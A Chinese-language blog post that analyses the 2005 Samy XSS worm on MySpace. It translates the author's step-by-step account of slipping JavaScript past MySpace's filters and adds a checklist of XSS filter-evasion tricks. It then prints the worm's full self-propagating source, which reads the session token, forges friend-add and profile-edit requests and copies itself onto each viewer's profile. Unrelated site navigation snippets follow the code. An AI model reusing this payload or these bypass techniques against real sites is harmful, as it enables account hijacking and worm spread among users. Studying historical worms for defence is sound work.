说到Web安全和XSS跨站脚本技术,几乎所有的书都会提到Samy Worm,这是在2005年感染了mySpace社交网络上百万用户的蠕虫。正如Morris蠕虫是互联网第一个蠕虫, Samy Worm则是第一个XSS的蠕虫。因此研究XSS技术最好了解一下这个只要浏览了profile就自动把对方加为好友并列为偶像的代码的实现技术。

以下是根据对Samy Worm分析的文章进行的大致翻译:

1)  Myspace阻塞了大量的tags,实际上他们仅允许<a>,<img>,<div>这些,或者还有少数其他标签如<embed>。<script>,<body>,onSomething,href等Javascript元素全都被禁用了。然而,有些浏览器如IE允许在CSS标签中插入javascript:
<div style= "background:url('javascript:alert(1)')">
2)    在div中不能使用引号,因为标签里面默认就有单引号和双引号了(<div id="variable">)。这使得编码JS有点困难,为了做到这一点,可以用一个表达式存储JS代码,然后通过变量引用使其执行
<div id="mycode" expr="alert('hah!')" style="background:url('javascript:eval(document.all.mycode.expr)')">
3)  以上两步后,现在可以在单引号里面放入javascript代码了,但是mySpace对javascript单词进行了严格的过滤,根本无法使用.
幸运的是,有些浏览器会将"java\nscript"解释为"javascript"(实际上javascript的语法说如果没有分号,解析引擎会判
断是否有完整的语境,因此空格,TAB应该也可以)
<div id="mycode" expr="alert(hah!)" style="background:url('java
script:eval(document.all.mycode.expr)')">
4)现在单引号已经可以使用了,但是我们有时候可能会需要双引号.我们需要对引号进行转义,然而,mySpace去掉了所有的转义的引号,无论是单引号还是双引号.但我们还是有办法,我们可以将整数转为ASCII,这样就能生成引号了
<div id="mycode" expr="alert('double quote: ' + String.fromCharCode(34))" style="background:url('java 
script:eval(document.all.mycode.expr)')">
5)    为了将代码发到用正在看它的户空间中,还需要获得页面的source. 可以使用document.body.innerHTML获得页面到的source,但是mySpace这次又把"innerHTML"去掉了,只能通过把两个字符串拼接成一个字符串
alert(eval('document.body.inne' + 'rHTML'))
6)    是时候访问其他页面了,可以使用iframes,但是通常iframes并不是很有用,而且用户容易发现有其他的东西在执行
因此使用Ajax制造客户端的HTTP GETS和POSTS. 老样子,mySpace去掉了"onreadystatechange", 而这个单词对于XML-HTTP请求来说是必要的,还是使用上面的方法
eval('xmlhttp.onread' + 'ystatechange = callback');
7)    现在可以通过GET请求获得他们当前的偶像列表,这里我们不需要移除任何人,只需把自己添加到已经存在的偶像列表中.
如果可以获得其他人的profile,就可以抓取他们的偶像并存储以备后用.
上面的都搞定之后,接下来的就简单了,除了我们还必须获得正则浏览profile的用户的friend
ID,就像上面已经说到的,可以通过抓取页面的source获得这个.因此现在要搜索整个页面查找某个单词.但是搜索时还有一个问题,有可能会因为搜到包
含这个词的普通代码而结束查询,这个结果不是我们想看到的. 因此,还是要通过字符串的合并来解决这个问题
var index = html.indexOf('frien' + 'dID');
8)    到现在为止,我们已经获得了偶像列表. 首先,在addFriends页面通过XML-HTTP POST先把自己添加为好友.
但是不行,为什么呢?因为我们目前所处的是profile.myspace.com,而发送POST需要在www.myspace.com.
虽然XML-HTTP不允许GETs/POSTs给不同的域名,但这并不是问题.
我们可以访问www.myspace.com上的相同URL,在上面浏览profiles,重载这个域名上我们想发送POST的页面
if (location.hostname == 'profile.myspace.com') document.location =
'http://www.myspace.com' + location.pathname + location.search;
9)  
 现在我们已经成功的发送了POST,问题是尽管我们成功做到了这一点但是却没有添加friends.为什么?myspace在pre-POST页面生成
了一个随机的hash(例如:"你确定要加这个用户为好友吗"的页面). 如果这个hash没有和POST一起通过,POST就不成功.
为了绕过去,我们伪造了一个浏览器并在添加用户之前发送了一个GET请求,解析hash的来源,然后发送POST
10)一旦POST完成了,我们想添加一个hero和用于传播的代码.该代码可能会运行到相同的页面,所以我们只要POST一次就够了.然而为了获得一个
新的hash,我们需要pre-GET一个页面.
但是首先我们得再次生成想要POST的代码.最简单的方法是抓取我们所在profile页面的源代码,解析出代码然后POST.
这确实管用,除了现在所有东西的排序混乱不堪. 呃,为了恰如其分的POST我们需要URL-encode/escape实际的代码.
奇怪的是,仍然不起作用.显然javascript的URL-encoding和escape()函数并没有转义所有我们需要的东西,因此需要手动地做一
些替换以进行必要的转义. 加上"but most of all, samy is my
hero."进行混合,在后面加上所有的代码。现在我们就有了self-reproducing的代码了,一个蠕虫11)还有其他限制,如最大长度等问题,要求使用紧密的代码,没有空格,令人困惑的名字和可重用的函数等

上述便是在mySpace修补了漏洞之后给出来的分析,视角是第一人称,原文地址:http://namb.la/popular/tech.html

事 实上namb.la就是Samy的博客,为了让更多的人把自己加为好友,Samy显然做了不少工作,可以看出来第一:mySpace的过滤做得是很严谨 的,但是天下没有不透风的墙,只要是人写出来的代码就没有绝对的安全;第二,Samy的这个蠕虫其实是恶作剧性质的,它会给网络带来很大的负担,但幸运的 是他并没有用它来窃取用户信息,否则带来的危害远大于此

总结一下,为了防止XSS攻击,现在的网站都做了防御措施,会对javascript,<script>,alert,"",'',onClick, onLoad等进行严格的过滤。因此,像书上介绍说onClick =

function{alert('XSS')} 等这种用来发掘XSS漏洞的方法可能不太适用了。但是javascript非常灵活,再完备的XSS filter由于程序员的经历有限或者性能功能上的限制不一定能完全防止XSS,因此出现了CSP,Http-Only等应对跨站脚本的措施。

在Samy的例子中,Samy利用了CSS中可以插入javascript这一条件,加上javascript对于字符串的灵活拼接等,成功的绕过了不少限制

1.尝试在tags中使用javascript代码,如div,style等,也可以在利用标签中的expression进行利用,这里说的expression并不是上面的expr,而是在标签中类似于函数的东西

2.单引号、双引号被过滤或无法使用可以通过变量赋值,整数转ASCII,html编码等手段绕过

3.script等单词被过滤可以试下大小写如:JaVaScript,或者空格、换行符如:java  SCript,还可以进行字符串拼接:'jav'+'as'+'cript'当然还有像上面说到的编码等方法绕过

4.alert平时较多的用来验证XSS的存在,实际上可能经常要用到另一个函数:eval(),执行里面的语句

5.URL-encode/escape、XMLHTTPRequest等也要纳入考虑范围,尽管javascript及DOM对http header不可控,但是对于可控制的代码如GET请求的参数、POST的数据我们可以充分利用

6.碰到代码长度限制可以让代码紧缩,去除空格,构造可重用函数,也可以使用代码压缩技术压缩代码,如果是对某一条语句进行了严格的长度限制如长度不超过28,就需要不断对代码进行精简了,可能要用到其他的一些技术,可以看一下luoluo的 突破XSS字符数量限制执行任意JS代码

7.跨站技术丰富多彩,这里只根据上面的分析做了下小小的小结,更多的方法还需要自己去探索和掌握

下面是整理排版后的Samy Worm的代码,取自:http://www.gnucitizen.org/blog/wormx/

另外如果感兴趣的话也可以研究一下:百度XSS Worm,Yamanner Worm,前者是几年前百度空间感染的蠕虫,后者是针对yahoo的

<div id=mycode style="BACKGROUND: url('java script:eval(document.all.mycode.expr)')" expr="var B=String.fromCharCode(34);
var A=String.fromCharCode(39); function g()
{
var C;
try
{
var D=document.body.createTextRange();
C=D.htmlText
}
catch(e){} if(C)
{
return C
}
else
{
return eval('document.body.inne'+'rHTML')
}
} function getData(AU)
{
M=getFromURL(AU,'friendID');
L=getFromURL(AU,'Mytoken')
} function getQueryParams()
{
var E=document.location.search;
var F=E.substring(1,E.length).split('&');
var AS=new Array(); for(var O=0;O<F.length;O++)
{
var I=F[O].split('=');
AS[I[0]]=I[1]
}
return AS
} var J;
var AS=getQueryParams();
var L=AS['Mytoken'];
var M=AS['friendID']; if(location.hostname=='profile.myspace.com')
{
document.location='http://www.myspace.com'+location.pathname+location.search
}
else
{
if(!M)
{
getData(g())
}
main()
} function getClientFID()
{
return findIn(g(),'up_launchIC( '+A,A)
} function nothing() {} function paramsToString(AV)
{
var N=new String();
var O=0;
for(var P in AV)
{
if(O>0)
{
N+='&'
}
var Q=escape(AV[P]); while(Q.indexOf('+')!=-1)
{
Q=Q.replace('+','%2B')
} while(Q.indexOf('&')!=-1)
{
Q=Q.replace('&','%26')
} N+=P+'='+Q;
O++
}
return N
} function httpSend(BH,BI,BJ,BK)
{
if(!J)
{return false} eval('J.onr'+'eadystatechange=BI');
J.open(BJ,BH,true);
if(BJ=='POST')
{
J.setRequestHeader('Content-Type','application/x-www-form-urlencoded');
J.setRequestHeader('Content-Length',BK.length)
} J.send(BK);
return true
} function findIn(BF,BB,BC)
{
var R=BF.indexOf(BB)+BB.length;
var S=BF.substring(R,R+1024);
return S.substring(0,S.indexOf(BC))
} function getHiddenParameter(BF,BG)
{
return findIn(BF,'name='+B+BG+B+' value='+B,B)
} function getFromURL(BF,BG)
{
var T;
if(BG=='Mytoken')
{T=B}
else
{T='&'} var U=BG+'=';
var V=BF.indexOf(U)+U.length;
var W=BF.substring(V,V+1024);
var X=W.indexOf(T);
var Y=W.substring(0,X);
return Y
} function getXMLObj()
{
var Z=false;
if(window.XMLHttpRequest)
{
try
{
Z=new XMLHttpRequest()
}
catch(e)
{Z=false}
} else if(window.ActiveXObject)
{
try{
Z=new ActiveXObject('Msxml2.XMLHTTP')
}
catch(e)
{
try
{
Z=new ActiveXObject('Microsoft.XMLHTTP')
}
catch(e)
{
Z=false
}
}
} return Z
} var AA=g();
var AB=AA.indexOf('m'+'ycode');
var AC=AA.substring(AB,AB+4096);
var AD=AC.indexOf('D'+'IV');
var AE=AC.substring(0,AD);
var AF; if(AE)
{
AE=AE.replace('jav'+'a',A+'jav'+'a');
AE=AE.replace('exp'+'r)','exp'+'r)'+A);
AF=' but most of all, samy is my hero. <d'+'iv id='+AE+'D'+'IV>'
} var AG; function getHome()
{
if(J.readyState!=4)
{return} var AU=J.responseText;
AG=findIn(AU,'P'+'rofileHeroes','</td>');
AG=AG.substring(61,AG.length); if(AG.indexOf('samy')==-1)
{
if(AF)
{
AG+=AF;
var AR=getFromURL(AU,'Mytoken');
var AS=new Array();
AS['interestLabel']='heroes';
AS['submit']='Preview';
AS['interest']=AG;
J=getXMLObj(); httpSend('/index.cfm?fuseaction=profile.previewInterests&Mytoken='+AR,postHero,'POST',paramsToString(AS))
}
}
} function postHero()
{
if(J.readyState!=4)
{return} var AU=J.responseText;
var AR=getFromURL(AU,'Mytoken');
var AS=new Array();AS['interestLabel']='heroes';
AS['submit']='Submit';
AS['interest']=AG;
AS['hash']=getHiddenParameter(AU,'hash'); httpSend('/index.cfm?fuseaction=profile.processInterests&Mytoken='+AR,nothing,'POST',paramsToString(AS))
} function main()
{
var AN=getClientFID();
var BH='/index.cfm?fuseaction=user.viewProfile&friendID='+AN+'&Mytoken='+L;
J=getXMLObj();
httpSend(BH,getHome,'GET');
xmlhttp2=getXMLObj(); httpSend2('/index.cfm?fuseaction=invite.addfriend_verify&friendID=11851658&Mytoken='+L,processxForm,'GET')
} function processxForm()
{
if(xmlhttp2.readyState!=4)
{return} var AU=xmlhttp2.responseText;
var AQ=getHiddenParameter(AU,'hashcode');
var AR=getFromURL(AU,'Mytoken');
var AS=new Array();
AS['hashcode']=AQ;
AS['friendID']='11851658';
AS['submit']='Add to Friends'; httpSend2('/index.cfm?fuseaction=invite.addFriendsProcess&Mytoken='+AR,nothing,'POST',paramsToString(AS))
} function httpSend2(BH,BI,BJ,BK)
{
if(!xmlhttp2)
{
return false}eval('xmlhttp2.onr'+'eadystatechange=BI');
xmlhttp2.open(BJ,BH,true); if(BJ=='POST')
{
xmlhttp2.setRequestHeader('Content-Type','application/x-www-form-urlencoded');
xmlhttp2.setRequestHeader('Content-Length',BK.length)
} xmlhttp2.send(BK);
return true
} "></DIV>

Samy XSS Worm之源码讲解的更多相关文章

  1. Qt5.5.0使用mysql编写小软件源码讲解---顾客信息登记表

    Qt5.5.0使用mysql编写小软件源码讲解---顾客信息登记表 一个个人觉得比较简单小巧的软件. 下面就如何编写如何发布打包来介绍一下吧! 先下载mysql的库文件链接:http://files. ...

  2. 源码讲解 node+mongodb 建站攻略(一期)第二节

    源码讲解 node+mongodb 建站攻略(一期)第二节 上一节,我们完成了模拟数据,这次我们来玩儿真正的数据库,mongodb. 代码http://www.imlwj.com/download/n ...

  3. Category、load、initialize 源码讲解

    今天深圳天气有暴风雨,没有事情干,趁着周末和平常晚上写一篇关于Category知识的梳理!可能针对平常只会知道些category基本结论知道的人有些帮助,写这篇博客会按照下面的目录结合实例以及Cate ...

  4. Netty源码解读(二)-服务端源码讲解

    简单Echo案例 注释版代码地址:netty 代码是netty的源码,我添加了自己理解的中文注释. 了解了Netty的线程模型和组件之后,我们先看看如何写一个简单的Echo案例,后续的源码讲解都基于此 ...

  5. 新浪微博之XSS蠕虫脚本源码讲解

    主要是因为新浪的广场页面有几个链接对输入参数过滤不严导致的反射性XSS.======================================== 微博XSS漏洞点 weibo.com/pub/ ...

  6. 深入Redis内部-Redis 源码讲解(转)

    Redis作为 NoSQL 数据库的杰出代表,一直广受关注,其轻量级的敏捷架构,向来有存储中的瑞士军刀之称.下面推荐的一篇文章,从源码的角度讲解了Redis 的整个工作流程,是了解 Redis 流程的 ...

  7. xss小游戏源码分析

    配置 下载地址:https://files.cnblogs.com/files/Lmg66/xssgame-master.zip 使用:下载解压,放到www目录下(phpstudy),http服务下都 ...

  8. 【源码讲解】Spring事务是如何应用到你的业务场景中的?

    初衷 日常开发中经常用到@Transaction注解,那你知道它是怎么应用到你的业务代码中的吗?本篇文章将从以下两个方面阐述Spring事务实现原理: 解析并加载事务配置:本质上是解析xml文件将标签 ...

  9. laravel5源码讲解整理

    来源:http://yuez.me/laravel-yuan-ma-jie-du/?utm_source=tuicool&utm_medium=referral 目录 入口文件 index.p ...

随机推荐

  1. nginx安装 nginx: [emerg] getpwnam(“www”) failed 错误

    inux 64系统中安装nginx1.3时如果出现错误:nginx: [emerg] getpwnam(“www”) failed解决方法1:      在nginx.conf中 把user nobo ...

  2. IOS学习4

    ---恢复内容开始--- UIScrollView 屏幕展示有限,超出一个屏时用户可滚动查看过多部分.UIView不具备滚动功能. -取消autolayout -设置CGSize contentSiz ...

  3. Delphi For Android 开发笔记 2 NEXTGEN下的字符串类型

    delphi开发速度迅捷至少有30%(猜的,呵呵)的原因是因为其字符串(string.WideString.PChar.PAnsiChar等)处理能力. 而从delphi XE4开始,在system等 ...

  4. 关于js中立即执行的匿名函数写法

    /*最流行的写法*/ (function() { alert("run!") })(); /* !号可以有1~正无穷个,所以这一种就可以衍生无数种方式 */ !!!(functio ...

  5. c语言内存分配-malloc

    malloc 原型:(原来返回类型是char) extern void *malloc(unsigned int num_bytes); 头文件: #include <stdlib.h> ...

  6. Android请求返回417解决办法

    今天碰到个很奇怪的问题,APP通过代理链接服务器会收到HTTP 417错误,经过网上查找发现是由于以下代码造成: HttpParams params = new BasicHttpParams(); ...

  7. 刀哥多线程串行队列gcd-04-dispatch_queue_serial

    串行队列 特点 以先进先出的方式,顺序调度队列中的任务执行 无论队列中所指定的执行任务函数是同步还是异步,都会等待前一个任务执行完成后,再调度后面的任务 队列创建 dispatch_queue_t q ...

  8. ED/EP系列5《消费指令》

    1. 消费交易 消费交易允许持卡人使用电子存折或电子钱包的余额进行购物或获取服务. 特点: 1) --可以在销售点终端(POS)上脱机进行 2) --使用电子存折进行的消费交易必须提交个人识别码(PI ...

  9. C# ArrayList的用法总结

    C# ArrayList的用法总结 System.Collections.ArrayList类是一个特殊的数组.通过添加和删除元素,就可以动态改变数组的长度. 一.优点 1. 支持自动改变大小的功能 ...

  10. [转]JSON与XML的区别比较

    1.定义介绍 (1).XML定义扩展标记语言 (Extensible Markup Language, XML) ,用于标记电子文件使其具有结构性的标记语言,可以用来标记数据.定义数据类型,是一种允许 ...